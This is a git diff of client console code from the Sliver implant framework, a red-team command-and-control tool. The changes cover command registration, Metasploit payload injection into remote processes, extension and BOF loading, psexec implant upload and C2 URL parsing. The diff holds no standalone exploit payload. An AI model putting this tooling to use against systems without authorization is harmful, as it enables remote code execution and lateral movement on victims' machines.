Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
@@ -1248,8 +1177,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1304,8 +1231,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1454,8 +1379,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1515,8 +1438,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1631,24 +1552,6 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Filesystem ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.MvStr,
Help: "Move or rename a file",
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("src", "path to source file")
a.String("dst", "path to dest file")
},
Run: func(ctx *grumble.Context) error {
err := filesystem.MvCmd(ctx, con)
return err
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.LsStr,
Help: "List current directory",
@@ -2164,7 +2067,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("f", "force", false, "force killing of the beacon")
},
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -2370,25 +2272,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryDeleteKeyStr,
Help: "Remove a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegDeleteKeyCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to remove value from")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
@@ -2522,24 +2405,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: "graph",
Help: "Get details of a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotsGraphCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ WireGuard ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
+1 -1
View File
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, _ = ioutil.TempFile("", outFile)
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
+4 -4
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *term.State
var oldState *terminal.State
if !noPty {
oldState, err = term.MakeRaw(0)
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
terminal.Restore(0, oldState)
}
log.Printf("Exit interactive")
+6 -23
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -49,23 +49,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -98,15 +90,6 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+6 -29
View File
@@ -25,15 +25,14 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,21 +46,12 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -73,20 +63,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
con.PrintInfof("Executed payload on target\n")
}
}
+1 -1
View File
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+1 -1
View File
@@ -98,7 +98,7 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
}
// InstallFromFilePath - Install an extension from a .tar.gz file
// Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
+62 -75
View File
@@ -31,7 +31,6 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
@@ -39,13 +38,11 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
@@ -59,7 +56,6 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -117,7 +113,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
// ParseExtensions - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
@@ -173,9 +169,8 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Name: extCmd.CommandName,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -183,11 +178,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -195,15 +190,12 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "integer", "short":
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -220,26 +212,27 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
@@ -255,7 +248,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
@@ -265,17 +258,31 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -288,10 +295,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
if err != nil {
return err
}
@@ -299,31 +306,23 @@ func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, c
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
return registerExtension(con, depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
@@ -331,15 +330,23 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = loadExtension(ctx, session, con, ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -354,7 +361,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
extName = ext.DependsOn
@@ -366,11 +373,10 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -379,39 +385,22 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
con.Println()
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
@@ -426,8 +415,6 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
-84
View File
@@ -1,84 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
-4
View File
@@ -64,10 +64,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+8 -2
View File
@@ -5,6 +5,8 @@ import (
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -93,11 +95,15 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
+5 -48
View File
@@ -258,7 +258,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -266,7 +265,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -333,8 +331,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -398,9 +394,6 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -422,20 +415,17 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "wg://") {
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -468,9 +458,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -500,9 +487,6 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -519,37 +503,19 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
if strings.HasPrefix(arg, "named-pipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -569,25 +535,16 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
}
if strings.HasPrefix(arg, "tcppivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
+2 -2
View File
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
if err != nil {
return nil
}
for sliverName, build := range builds.Configs {
if sliverName == name {
for _, build := range builds.Configs {
if build.Name == name {
return build
}
}
-4
View File
@@ -100,10 +100,6 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+4 -10
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
